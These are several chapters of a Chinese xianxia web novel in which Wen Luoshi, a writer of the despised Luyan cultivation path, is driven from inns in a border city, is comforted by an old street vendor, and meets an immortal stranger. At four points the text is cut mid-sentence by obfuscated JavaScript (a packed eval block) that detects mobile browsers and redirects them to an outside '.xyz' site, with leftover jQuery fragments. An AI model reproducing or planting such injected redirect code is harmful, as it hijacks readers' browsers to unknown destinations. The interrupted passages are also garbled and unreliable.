《我以诗文寄日暮》 1. 引子 我曾以为,我一辈子不会踏入融雪城的。 这天的雪下得好大,凶猛,肆意,比我出生以来的任何一场雪都疯狂。 我坐在车上,回头看,来时车辙已忘不见。城门关上那一刻,我的过去,像是彻底被葬送了。 雪影纷飞中,前方的宫殿逐渐清晰。我说,可以停下吗,我不想再向前走了。 我不知道继续向前走了多久,只知道自己的手一直留在车窗外,好像要抓住什么,直到冻得失去了知觉。 后来车停了,风雪很快袭来,笼罩了整个车厢,没有片刻喘息。 这一夜过得极为漫长,长过往昔任何一夜。我熬过了风起,熬过了雾浓,熬过了飞雪又至,熬过了昙花凋谢,熬到炉子上的茶汤都已经凉透。 我坚持喝下整杯凉透的茶。很久很久以后,我才知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491138|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,我那日饮尽的,是我的未来。 翌日清晨,我目送那人乘车远去,而我则转身,离开,出城,不再多停留片刻。 融雪城中的雪从不过夜。雪化了,也带走了我一切美丽空想。我甚至无法证明,这场雪真真切切存在过。 他是我生命中没有结局的一场落雪。 我们未来,各自安好。 就不必再见了。 2. 弦断之音谁人听 文落诗被赶出客栈了。 那客栈的年轻打手横眉立目,站在门前狠狠抖了抖胳膊,好像在费力甩掉脏东西一样。一旁的老板娘冷冷一笑,“呸”地吐出瓜子皮,像是相当满意现在这个结果。 天色已晚,长街上人群渐渐变得稀松。寒冬正值,申时刚过一刻,天色就有些暗淡了。冷风如快刀一般擦肩而过,像是在惩罚着那些孤独的人。 忽而一阵狂风呼啸,文落诗打了个哆嗦,搓了搓手心,墨绿色血珠从指缝里流出,滴落在地。 这么冷啊,手还破了。 可是我是魔啊,怎么会觉得冷呢? 紧接着,那打手举起黑壮手臂,将一个布包狠狠向前一扔,砸向文落诗脚边。布包着地,传来“咚”的一声巨响,裂开一道深深的口子,她的衣物、水囊、胭脂、魔石,此刻统统散落在脚边。 那瞬间的巨响也炸开了凝滞的空气。客栈中,那些看热闹不嫌事大的伙计立刻凑在一起,七嘴八舌地议论起来,还不忘用手去指着屋外这个被欺负的姑娘,生怕她被数落得还不够。 看着身侧软软塌塌的袋子,文落诗眉头紧锁,咬了咬牙,深深吸了一口气。 绝望,却更是无能为力。 物品散落一地。她弯下身,正欲伸手去捡时,忽然听到身后又传来“当”的一响,似乎又有什么东西砸向地面。 回头一看,原来是她的笔。那是她最好用、最珍贵的一支笔,也是她曾写过无数篇稿子的笔。 如今摔坏了。 嗑瓜子的老板娘使劲抖了抖手,像是想赶紧抖掉脏东西,一刻也不想多等。 文落诗默默地拾起那支已经断了的笔,收进布包内,然后黯然起身离去。她自然不服,不愿意多看这个丑陋的客栈一眼,可在这个压抑的气氛下,在这个常年灰色的环境中,她甚至不知道该如何证明自己没有错。 下沉的夕阳缓缓蹭到屋顶,闪过刺眼的光芒,留下一道鲜艳而张扬的红色,与滴落在她的脚边墨绿色血珠混在一起,闪亮而诡异。这是独属于稀音城的落日。 稀音城坐落于第一重天,是整个魔界的最低处。 街角的人拱手作别,街上的人行色匆匆,背着厚重的包袱,走进小巷中,或是进入客栈。不知是谁在哪个街边小铺中吹起陶埙,乐曲声悠悠,吹慢了满城的风。 文落诗一个人走在街上,不断地告诉自己不能生气,可心底那个劝她放弃的声音,却也是不断地回响着。她按耐不住心血翻涌,整个人颓废至极。好巧不巧,一粒飞沙进入眼里,她在路中间站定,举起手揉揉眼睛。 ——以至于,她并没有注意到,就在这刹那间,一架车正迎面飞奔而来。 拉车的猼施倏忽一惊,看到文落诗站在路中间的那一刻,骤然停止奔跑,卡在原处。刹车速度之快,使得身后如浓墨般漆黑的车厢险些侧翻倒地。 文落诗猛地抬头,见近在眼前的猼施愤怒地瞅着自己,又见它身后的车厢大幅度晃动着。她一时恍惚,紧接着暗道不好,自己好像站在路中间,挡住了车的路。如今猼施急停,险些翻车,那车厢中坐着的人,恐怕会找自己的麻烦。 这辆车再普通不过,漆黑的车身,拉车的猼施,和它顶着的一身火红皮毛。 没有任何出彩之处。 可是,这个时间,出现在稀音城中这条无人问津的街道,就决定了一个事实——这车中坐的肯定不是一般人。 面前那猼施无奈转头,看向通体漆黑的车厢,等候主人的指示。 文落诗眨眨眼,看着猼施火红的皮毛,忽觉是自己身上的血味太重,引起了它的注意。 自己还没来得及疗伤,若是这车里的人问责自己,怕是不好应付。她立即默默地运功疗伤,手上的裂口不重要,先把气息稳住。可她一运功,身体周围就就晕开了淡淡的粉色烟雾。 粉色烟雾,代表了她所修炼的是露烟道。文落诗当然知道,将自己所修的道暴露出来,意味着什么。 车内的人似乎闻到了血味,也看到的淡淡的粉色,叹了口气。 文落诗耳目极佳,很敏锐地捕捉到了这声叹气。她张了张嘴,却一下子不知道该说什么。 道歉?请求原谅?还是主动认错? 无论哪一种,她都不知道这开口的第一句话该如何讲。或许是她道歉过太多次,每次道歉后,迎来的总是一顿数落,夹杂着无数鄙视与轻蔑,一次一次抽打着她那颗本就不坚定的内心。 魔界之人修炼的“道”主要分为五种:露烟、榴火、沉碧、澄澜、熙光。不同道修炼的侧重点不同。曾经的魔界讲究术业有专攻,人们根据不同的喜好、兴趣、擅长,选择适合自己的修炼道路。 可近些年来,不同道之间的鄙视链盛行于民间,人们渐渐将熙光道高高捧起,将它奉为成功的定义,引得无数人心向往之。近些年来,靠“修炼熙光道”的来提高身价、被热烈追捧的人数不胜数。 而剩下的,澄澜道之人看不起沉碧道,沉碧道之人觉得自己优越于榴火道,榴火道之人转头抛了无数个白眼给露烟道,久而久之,这种扭曲的风气下,修炼露烟道之人寥寥无几。 毕竟那一腔名为“喜欢”的热血,怎敌所遭遇的无数次轻视与不公?还有多少人愿意为了自己的那一点点名为“兴趣”或者“热爱”的萌芽,而一辈子屈于人之下? 可偏偏,文落诗就是这种少数之一。 不过,哪怕她已几乎达到露烟的巅峰,修为高过无数人,还不是如今落得这般下场。 恰巧,在这僵持不下的时刻,天空中飘下了簌簌雪花。这雪来得太猛烈,仿佛跟刚刚狂奔而来的猼施约定好似的,争先抢后,纷然落地,也分毫不差地点在了文落诗手掌的伤口上。 眼前这辆车的周围,却散开一阵浓郁的蓝色光圈,更加证实了文落诗的猜想——车中之人修为极高,突破了五道之上,达到了“融雪”的境界,因此,身上气息散发出来,足以保护整辆车,以及车前的猼施。 无论选择任何一道,达到融雪之境都是最终的目标。已经达到融雪之境的人往往被尊称为“魔君”,施法时光晕皆为蓝色。不过同样,反过来,如果本人不说,你也未见过此人进入融雪之前的术法颜色,就无从得知他此前是通过修炼哪种道而达到融雪境界。 可是,眼睁睁看着面前这位魔君,文落诗不知道为何,就是不想开口。也不知道是哪股劲驱使,这回一定要等到对方先开口,再做打算。 于是她一动不动地站着,任由手上的墨绿色血珠也随着大雪一同簌簌滴下,静静等待着车中传来的审判。 那车厢黑得浓郁、黑得压抑,一阵狂风卷过,仿佛吹开了什么。而就在这时,车厢中终于传来声音: “继续走吧。” 车前的猼施有些发懵,认真看了看文落诗,像是想从她身上找出原因一般。 文落诗轻轻皱眉,更是有些发怔:这人……是不打算找我的麻烦了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491139|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>毕竟这么多年,从未遇到过如此情况。没有人愿意放过欺负她机会,以彰显自己的高高在上。 那车厢中的人收回了法力,周围的光晕在这一瞬间消散,浓墨一般的车厢上瞬间落了白。猼施抖了抖皮毛上的雪,从文落诗身边迈步绕过。 想象中的斥责与谩骂,并没有发生。 车窗前,织着银色暗纹的绸布被风轻轻吹起,车中人再次沉沉开口,声音却如同落雪般平静:“天色不早了,姑娘早些回去吧。” 对方没有给文落诗回答的机会,便走入了气势磅礴的大雪中,只留她一个人站在原处,很久很久。直到这黑影完全消失在皑皑大雪中,文落诗才极小声地开口,叹道:“回不去了。” 回去?这对她来说太奢侈了。自己为了那一点点在爹娘看来根本不值得的坚持,背井离乡,一个人出来闯荡,相信总有一个地方可以接纳自己。 可她刚启程,就不停跌倒,一路受尽了白眼。 事到如今,客栈里就算客房满了,都一定要谄媚地去讨好一个熙光的客人,为了收留他,当然需要毫不留情将一个已入住的客人赶出来。客栈老板几乎毫不犹豫地选择了她,亲自登门,去对她一通声嘶力竭地谩骂,又叫了自己的打手去威胁她、让她“见见血”,最后再把她的包袱扔出客栈,让她成为整条街上的笑话。 这种丧尽天良的事情发生了太多,文落诗只是其中最普通的一个受害者。可在大多数世人眼中,这些却是再正常不过。当今世道,露烟处于鄙视链的末端,文落诗知道,自己选择露烟,就意味着选择了社会上最低的地位层级。 艰苦、压抑,更有甚者,穷困、落魄。 多少以露烟为道者,一辈子都这样,被人看不起。 文落诗垂眸向前走,走向未知的长街。她别无他法,只能再找一个客栈试试运气。 顷刻间,倾盆而下的大雪已经染白了整条街。这雪来得急,走得也急。可能是她孤零零一个人在街上走了太久,也可能是雪结束得太快,文落诗再次抬头看时,天空已经清朗一片,夕阳光芒的妖艳早已被洗去,只余下傍晚淡淡的水墨色晕开来,粘连着地平线上未消散的淡金色。 大雪初歇之时,陶埙的声音再次悠悠扬起,地上未消散的雪花随着风飘起,融入乐曲中,随着旋律起起伏伏。这次陶埙吹奏的是《落雪歌》,是一首名曲。不敢说是家喻户晓,但却是百姓们都有所耳闻的名曲。此曲作者也填了词,讲述了千百年前的两人相遇后相爱,却又因抱负不同,不得不最终于一场大雪初歇之时分道扬镳的故事。如今,去掉歌词,只剩乐器演奏的旋律,多少还是缺了几分故事的神韵。 有人用靠歌曲讲述故事。 跟她的方法不一样,但他们都是讲故事的人。 文落诗盘算着,今天遇到的事情虽然痛心,却是一个反映社会现实的好素材。等晚上找到客栈,便把它记录下来,未来说不定可以写进自己的话本里。 话本。对,这么多年,她一直是个作家。 至少她自己这么认为。 眼前又是一家客栈。看见一个牌子乖巧挂在门前,上写“今日尚有客房”,文落诗向前走去。 她并不知道,方才那辆车走远后,车中之人拿起车厢中一面石镜。这石镜表面平整光滑,他一拂袖,镜中便出现了走过的街道景象,以及路中间的文落诗,还有她身侧漫天纷飞的大雪。 许久,他听见镜中人轻叹一声“回不去了”。 3. 弦断之音谁人听 文落诗此刻已经运过功,手上的裂口已经愈合,可是略微的痛感还在,再加上傍晚的冷风依旧呼啸,疼痛更甚。她伸出僵僵的手,提起水蓝色的裙摆,小心翼翼跨过门槛,进入了客栈。 “这位姑娘,可是要住店?” 客栈的老板笑呵呵地迎了上来,手中抱着一摞厚厚的账本,最上面还顶了个翠玉的算盘,摇摇欲坠。这算盘一看就价值不菲,要是摔坏了,可是可惜了不少钱财。 他走到文落诗旁边,两只眼睛眯得只剩一条线。 文落诗点头,可她此时当然不会知道,老板走来,看似是在欢迎客人,实则正巧能把客人堵在门口。面对如此热情的老板,一般客人都不会饶过他走向前台,而是就地停下,掏包拿取钱财。 正当她把手伸进布包,寻找钱财或魔石之际,却听老板“啊”地一声,一个没拿稳,那一摞厚厚的账本纷飞开来,上方的算盘当然也无法幸免,直冲向地面。 而那清脆的碎裂声并没有出现,文落诗手急眼快,刹那间,一团粉色的光托住了即将落地算盘。紧接着,在粉光的包裹下,算盘稳稳地飞到她的手里。 账本中夹杂的各种单薄纸张涌出,在空中左右来回飘个不停,最终纷纷然然落地。 正欲将算盘交还给老板之时,文落诗却惊觉,那老板嘴角露出一丝诡异的微笑。 她想开口说话,老板却抢先一步开口了:“多谢姑娘了,你此次住店,便收你一晚两百个魔石吧。” 文落诗闻言惊诧不已,也渐渐意识到,自己遇上一个狮子大开口的老板。可她还是忍不住开口理论:“客栈住一晚,花费五十个魔石都已是极为奢侈了,而且这样的贵客栈,也大概只有第九重天才会有,你怎能信口雄黄?” 老板诡异的笑容反倒更加灿烂:“自然是因为,姑娘你刚刚手上拿团粉光啊。” 文落诗心下一空,瞬间明了。这件客栈老板是摆明不欢迎露烟的客人,可又无从得知客人身份,于是想出这个是试探的方法。刚刚那一堆账本,以及上面的算盘,都是提前准备好的,就是为了利用客人的善意和对翠玉算盘的怜惜。在客人施法帮助之时,老板便可查看客人使用术法时光晕的颜色,从而判断客人所修之道。 如今看到了那一团粉光,老板自然得知了自己的露烟道身份,便故意报出不正常的高价,以吓退“身份低微”的自己。毕竟,像自己这种客人,在这些人眼中,跟大街上乞讨卖艺、苟且偷生的人没什么区别,很多客栈都不屑收留。 文落诗心下实在委屈,但她也绝不可能付这么多魔石。一是绝不向不合理的要求屈服,二是,那可是她辛辛苦苦赚来的稿费啊。 “能不能便宜……” “那你就走人!”老板却冷哼一声,趾高气昂道。 最后一张泛黄的纸飘飘忽忽,悄然落在文落诗脚边。 她转头离开,没有再多看这个客栈一眼。 就算她有钱,也不会屈服。她甚至不知道自己这种宁死不屈是为了什么。或许,她只是不认可这个社会上既定的规则。 修露烟道的人,大多数都是奔波很久,却依旧囊中羞涩。文落诗算是人中翘楚了,她写了很多稿子,有言辞激昂的文章,有柔肠百转的诗歌,哪怕是某一家店铺门口的对联,只要跟“写”有关,是在用文字进行“创作”,她就绝不会放弃任何一个可以动笔的机会。 或者说,营生的机会。 以至于,这些年来,她靠笔下无可计数的文字,积攒了不少稿费,足以使得她拥有独身一人离开故乡、出去闯荡、为了心中那股劲踏上旅程的底气。 可她真正所求,是写话本。 在大多数人看来,话本,是不务正业的代名词,是只有那些肚子里没什么墨水的人,才写出来哗众取宠的东西。而写话本的人,似乎根本不配被称作文人。 可文落诗从小就觉得,话本是一种讲故事的形式。 而她,也渴望成为一个讲故事的人。 多少人生命中的起起伏伏,多少生活中遇见的曲曲折折、坎坎坷坷,都可以成为千折百回的故事。而故事,是可以承载人的感情的。观四季轮转时会感叹逝者如斯,见人群熙攘时会感叹莫失莫忘,望戍边飞烟时会感叹舍生忘死,看阡陌街巷时会感叹剪烛西窗。 风可记载一代代人的登高望远之姿,花可呈现年复一年的无数场悲欢离合,雪可勾勒千万滴血液守护下的城池,月可见证更迭之中永恒不变的爱与义。 而这些感情,宏大的文章可以承载,最简单的话本更可以承载。 她喜欢观察并记录一个个沉沉浮浮的生命。 这是她写话本的初衷。 此次路程的第一站,她便选择稀音城。不仅仅因为这座城处于第一重天,她想将此处作为旅行的起始,更是因为这座城中,有她想要去投稿的书局。 只不过现在,面临傍晚的她,更棘手的,是需要一个住所。 思考何去何从之时,街边有什么东西忽然掉落地上,声音闷闷的。紧接着,一阵咿咿呀呀的哭声传来。 该是街边的一个婴儿手里的玩具掉地上了吧。顺着声音望去,文落诗没有看到哭泣的婴儿,可视线扫过之时,她却是一怔。 欲晓书局。 那是她梦寐以求要到达的地方,本以为要找很久才能找到,结果现在她因祸得福,流浪街头之时,书局居然被她给遇到了。 她向着书局的方向走去。傍晚的书局已经大门紧闭,晚上冷冰冰的风吹过,几个松动的门板吱吱呀呀作响。她也看到了那个哭泣声的来源——书局旁边,一个小铺还开着,老婆婆正抱着一个婴儿,婴儿一个劲地伸手,想去捡掉在地上的拨浪鼓,可是老婆婆怀里抱着婴儿,怎么也够不到脚边的拨浪鼓。 文落诗走过去,轻轻将拨浪鼓捡起,放回婴儿白嫩嫩的手里。 老婆婆笑呵呵地点头:“谢谢你啊小姑娘,坐下来歇歇吧。” 她示意文落诗在身边的小木凳上坐,又从手边的炉子上拿了个烤好的红苕,递给文落诗。那双已经有皱纹的眼睛露出关切。 “来,天冷了,吃个红苕,暖和暖和。” 文落诗这才注意到,这位老婆婆的小铺是卖烤红苕的,冬年之中,寒风凛冽,飞雪不断,正是最适合吃烤红苕的时节。可文落诗却迟迟犹豫,不敢坐下。一路从家乡走来,碰上了太多如同客栈老板那样的人,她不敢相信自己是在遇到善意。 老婆婆似乎察觉了文落诗的顾虑,开口笑道:“放心吧姑娘,无论你修的是何道,我都不嫌弃。” 文落诗心中激起一汪热潮。她向前走去坐下,道谢后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491140|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伸手接过老婆婆手里的红苕。这个小铺虽然开在路边,却相当暖和,想来是老婆婆用术法在周围设了个简单的结。文落诗刚靠近小铺,便觉得与外界风雪隔绝了,进入了一个暖融融的小区域中。 热腾腾的红苕捧在手里,散开一股夹杂着蜜味的香气。 文落诗一下子不知道该怎么面对这突如其来的温暖,正欲用手撕开红苕的外皮时,她动作一顿,心中一个念想飘过。她改为伸开五指,轻轻在红苕上方一转,晕开一抹粉色烟雾。烟雾消散后,红苕已经剥好了。 而老婆婆只是再次笑了笑,对文落诗点点头。 那一刻,文落诗忽然有点想哭。这么多天以来,老婆婆是第二个目睹了自己露烟道的身份后,依旧如常人一般对待她的人。 而第一个人,是刚刚车中的那位。 也不知道他最终去往哪里了。 吃着烤红苕,老婆婆问了她些简单的事情,比如她为什么一个人,家在哪里之类的。文落诗回答得不紧不慢,还不忘冲老婆婆怀中的婴儿笑笑。萍水相逢,文落诗也不愿意透露太多,可她却感受到,老婆婆一定是个修为很高的人。 可是那个婴儿又哭了。这回不是因为拨浪鼓掉地上了,而是像是感受到了什么,忽然开始哭泣。 老婆婆束手无策:“怎么又哭了呀,乖乖,怎么回事?” 文落诗把最后一口红苕塞进嘴里,担担手,把身下的木凳移得离婴儿更近了些。 “可是饿了?”文落诗轻声问。 老婆婆摇摇头:“谁知道呢,平日此时,家中奶娘会给她唱曲,唱着唱着,她就睡着了,但奶娘今日家中遇到点事,出城了,一时半会回不来。我这也不会唱曲啊。” 文落诗立刻道:“我倒是可以唱个曲,试着哄哄她。” 她正好不知道该怎么报答老婆婆的款待,如今,一个机会摆在面前,她当然愿意帮这个忙。 老婆婆听后,连连点头,眼中透露着惊喜。 文落诗问道:“她可有特定的想听的曲子?” 老婆婆不甚在意:“是个曲子就行。” 文落诗本犹豫唱什么,可不知怎的,她脑海中飘起了方才路边听到的陶埙所吹那一曲《落雪歌》。这声音越来越响,渐渐占据了整个脑海。 于是她缓缓开口: “昙花未落,雾中仰首,盼雪来歌。临窗久坐连叹,茶虽煮沸,谁为酌客?露重霜浓云厚,夜深残星过。瑞叶至,风弄窗纱,簌簌寒声入南柯。” 小婴儿的哭泣声果然慢下来,只剩下细微的抽噎声。 文落诗一看歌声起了作用,与老婆婆对视一笑,继续唱道: “欲惜素蕊扬镳色,又清宵、路尽缘将破。别时宿霭即散,回首处,晓光勾勒。复见飞琼,常念、昔年旧痕难抹。往事稀、玉影凋零,却道人犹寞……” 突然间,文落诗的歌声停住,微微一皱眉。老婆婆也突然坐直了身子,把婴儿使劲往怀里搂了搂,警惕地看向四周。 周围景色如常,街上依旧零星几个人在走着,有的时不时转头看向小铺。街道两侧的雪还积着,街中间已经落满无数个脚印。 可文落诗和老婆婆都瞬间感受到了不寻常—— 那是一股浓郁的、纯正的、危险的仙气,正在向此处靠近。 4. 弦断之音谁人听 老婆婆低下头去,装作没注意到,拍了拍怀中的婴儿,摆出一副再正常不过的姿势,继续哄他睡觉。 文落诗表面上继续对着婴儿唱歌,实则将注意力放在面前的街道上。 大战在即,稀音城中有仙族出现,实在是需要警惕。 自开天辟地以来,世间出现六界。千万年前,神界与仙界合并,称为天界,神仙混居;而后不知为何,神族尽数陨灭,从此,仙界九重天之上的神界关闭,而天界变成了独有仙族居住的地方。 妖界位于九天之下人界之上,如今却关闭,无人知晓入口,不知为何。 鬼界俗称冥界,位于人界之下。 天界一重天尽头与魔界一重天的尽头,以一片荒漠旷野相连。旷野上有一高山,名“引卮”。两界以引卮山为界,一左一右,各自为政,互不干涉,中间未有结界阻隔。彼时,两界百姓相处和平,偶尔有“串门”者,也不足为奇。 近万年前,因一场矛盾,天界与魔界大战百日有余,却并未决出胜负,从此开启对立之势。彼时,两界之主本想在引卮山处设界,阻断两界往来,无奈引卮山乃天道所形成,立于两界之间亘古不变。天道规律不可更改,在此处设界更是无稽之谈,于是这个想法无疾而终。不过从那以后,两界之间的“串门”便自然而然停止了。 可这个历史遗留问题是,如果真有人刻意想进入敌界,第一重天便是必经之路。而魔界第一重天中的稀音城,又恰好位于边界处,是最容易进入外敌的地方。 文落诗盯着小婴儿,口中不慌不乱地唱着歌,听见有个脚步声渐渐逼近了。而她,和老婆婆,都做好了随时出手的准备—— 直到一个有着淡淡仙气的身影来到他们面前,默默站定。 文落诗的歌声停止。 周围空气凝固,婴儿也在此刻停止了哭泣。 一切都安静下来,仿佛在酝酿一场盛大的爆发。 这人在文落诗面前站了一会儿,没有说话。而文落诗也在等待对方先有动作。 忽然,这人伸出手,拿起两个炉子上的红苕,在手里掂了掂,用极其温和的声音问道:“婆婆,敢问,这两个红苕如何卖呀?” 文落诗猛地抬头,对上那一副尤为淡雅的面孔。 眼前这个男子,如瀑的长发披散在身后,头上顶着一个淡金色的小发冠,身穿一袭蔚蓝色长袍,宽大的衣袖垂在身侧,令人实在忍不住多看几眼。 文落诗防备之余,心下震撼——好像我前几日刚收笔的话本里那个男主人公,忽然活了过来,站在了我眼前。 只可惜,此人是仙族。 他见文落诗抬头,对上她的眼睛,再次用极为温和的声音赞道:“姑娘的歌声真动听。” 这回文落诗彻底懵了,脑中飞转,没想出来这是个什么情况。 还是一旁的老婆婆先反应过来。毕竟是活了几千岁的人,见过太多大风大浪,比文落诗镇定太多。她不紧不慢地接上他的话:“十五个魔珠便可。” 魔珠是通常交易使用的钱财,魔石也是,只不过相较于魔珠,更为贵重。 于是,接下来,文落诗眼睁睁看着这个仙族的男子从袖中掏出了一大把闪着魔珠,还闪着五彩缤纷的亮光。他认真数了二十个,递到老婆婆满是皱纹的手掌上,然后道谢,转身离开,拖着一身充满仙气的长袍,渐行渐远。 哦对了,他临走之前,还不忘提醒了老婆婆一句:“您老辛苦,早些休息。” 他离开之后,凝固的气息像是瞬间化开了一样。 文落诗觉得自己的五官恢复了,紧绷的身体也终于放松下来。 不对啊,话本里的剧情一般不是这么发展的啊。 老婆婆看文落诗一副担惊受怕,又疑惑万分的样子,安慰道:“没什么大碍,我也无特殊身份,只是个普通人。他找来我的破铺子,也许真的只是想买个红苕而已。” 看文落诗将信将疑,老婆婆转而从另一个思维方式安慰道:“大战在即,你的顾虑总归是没错,多加小心是对的。” 文落诗点点头,复盘着刚刚发生的事情。 近万年前那一场大战之后,天界与魔界均废除了引卮历的纪年法,分别改用天云历和沧海历,并约定万年之后再起一战,以决胜负。如今,距离两界年历的元年,已经过了九千九百年有余,距离那个战约,还有整整五十年。 如今魔族一片兵荒马乱,各种欺凌者横行肆虐,无人管束。也是因为大战在即,人心惶惶之下,社会越来越不安定。 文落诗忽然想起什么:“婆婆,您可是已入融雪之境?” 刚刚那个仙族男子,并非未掩饰自己身上的气息。文落诗察觉到了,是因为她已经到达露烟的顶峰,只差最后寻找机缘突破,方能达到融雪的境界。而老婆婆也能察觉到,证明她的实力,至少与自己齐平。 老婆婆摇摇头,缓缓道:“我并非融雪之人。想当年,我是榴火与沉碧两道并修,然而年轻时没什么恒心,感觉差不多了,就没再往下。” 文落诗心中惊讶:当然可以选择两道甚至多道修炼,但这种人实属少见。没想到,老婆婆竟是一个两道并修之人。 老婆婆看着文落诗,眼中有种用过来人的视角看年轻人的沧桑,继续道:“我那年头,任何一道都没有高低之分,只有个人不同的选择。哪像如今,你看不起我,我看不起你。那个风壑,真是误人子弟。” 风壑。文落诗默默地想,这个名字可谓人尽皆知。 他是魔界当今大祭司,地位仅次于魔尊之下。多年来,他恪尽职守,日理万机,不仅大幅度提高了魔族的战斗力,更是稳固了魔界的社会结构。百姓安居乐业,十分安定,民间对他好评如潮,更有“心中有沟壑,挥袖作长风”一句,专门为称赞他而作。 可是,当年文落诗第一次听说这个名字和他的故事之时,就感到有些别扭,却又说不出个所以然来。她暗中翻阅了不少资料,才明白这种不满之感从何未来。 那是因为,风壑,很有可能是各道之间鄙视链的创立者,更是推行者。 俗话说,只有惹到自己头上了,才会急得跳脚,文落诗当然急了,因为在她出生之前,风壑就总是明里暗里大肆宣传熙光道如何好、如何强,后来又不知不觉把五道从高到低排了个序,在文落诗来到这个世界上之时,社会上的认知已经稳定了,露烟道已经是鄙视链的底端了。 文落诗低声应答,却说出一句违心的话: “只是,他的确给寻常人家,指明了一跃而上的道路。” 是啊,很多人都是这么认为的。给寻常人指明居于人之上的道路,不受推崇才怪呢。 熙光道的修炼原理最简单不过,只需要尽可能获得更多的魔石,也就是更多钱财,然后直接把魔石击碎,便可转化成更多修为。 也就是说,熙光道,主要靠钱。赚钱多的人,修为自然就高。所以,想办法赚钱就行了。 文落诗从一开始就确定,老婆婆不可能是修熙光道之人,因为单卖靠红苕,可赚不到几个钱。 而其余四道,都是需要靠自己去悟道,去突破,靠不同方法去提升修为。 老婆婆一听,立刻摇头:“我那邻家的孩子,真真是被他耽误了。好端端的一个小孩,从小喜欢摆弄那些瓶瓶罐罐里的汤啊药啊,这不是沉碧的好苗子吗?谁料不久前,那大祭司路过稀音城,忽然兴致来了,扬言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491141|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要帮寻常人家的小孩看看怎么发展,看着看着,就给人家劝去修熙光道了。那孩子就毁了啊,从那之后,我在他眼里,看不到一点光了。” 文落诗心里大受触动。眼里看不到光了,这不就是父母在劝自己修熙光道时,自己的样子吗? 可是多年来,被父母的思想所洗涤,文落诗已经在潜意识里接受了这种认知,于是,她毫无情绪地对老婆婆道:“说不定未来某天,他居于人之上了,便会豁然开朗了。” 老婆婆盯着文落诗看了好久,眼神忽然变得同情起来,轻声道:“姑娘,你内心不是这么想的吧?” 文落诗沉默许久,好像终于触碰到了心中那从来不干触碰的东西。 她低声道:“婆婆怎么知道的呢?” 老婆婆一听这,就放心了,她没有直面回答文落诗,而是缓缓开口:“我们家三个宝,一个澄澜,一个沉碧,还有我怀里这个,距离知道自己想做什么,还早着呢。” 文落诗心如明镜,自然一下就听出来,老婆婆的意思是,劝她坚持自己所想所爱。 可是回想起这些天离家后漂泊的经历,她还是忍不住开口:“可是我当下已是无家可归,更无法承担生活了。” 她没有明说自己被客栈赶出来的事情,但是老婆婆经验丰富,应当能猜到她的意思。 老婆婆笑着回答:“那是因为你不相信靠自己便能过好生活。捂着你的心,告诉自己,我喜欢,我就能做好。” 文落诗抬头,对上那一双沉静的、已经经历过无数次岁月风波的眼睛,仿佛在呵护一件绝世珍宝——这么多年,老婆婆是第一个这样劝她的人。 她曾以为,自己的世界里,露烟两个字,就代表了否定,可是第一次,她听到了肯定。 老婆婆接着说:“我那当年,五道不分高低,可如今呢,大多人都对我界的主流思想逆来顺受,极少有人跳出来,思考这些本身是否存在道理。” 文落诗悬着的一颗心忽然放下了。 她这些年的不服,是在追求自己的选择;而如今她的倔强,更像是在挑战这世间既定已久的规则。 老婆婆这一番话,好像把陷入深渊中溺水已久的她,狠狠拉了一把。 她心里闪过什么,冷不丁地问道:“婆婆,您幸福吗?” 老婆婆微微一愣,笑出来:“我幸福啊。” 见文落诗满脸期待她继续说下去,老婆婆就接着道:“这是因为,幸福不是你坐拥钱财万贯,也不是身处多高的位置、凌于多少人之上,而是……”她看了看周围,“能在这风雪中,好好活着。” 在风雪中好好活着。这是多简单、却又多奢侈的一个愿望啊。 可是,一种萌芽在文落诗心中破土而出。听了老婆婆一席话,文落诗忽觉,那笼罩自己这么多年的阴霾,好像渐渐散开了。她很久没有呼吸过这么畅快的气息了。 自己读过的那些话本里的,女主人公总是遇见醍醐灌顶之事,而如今,自己似乎体验了一把。 转而,她身体里一阵内力波动,大约是自己的道更加稳固了。她明显感受到,自己距离融雪之境,更近了一步。 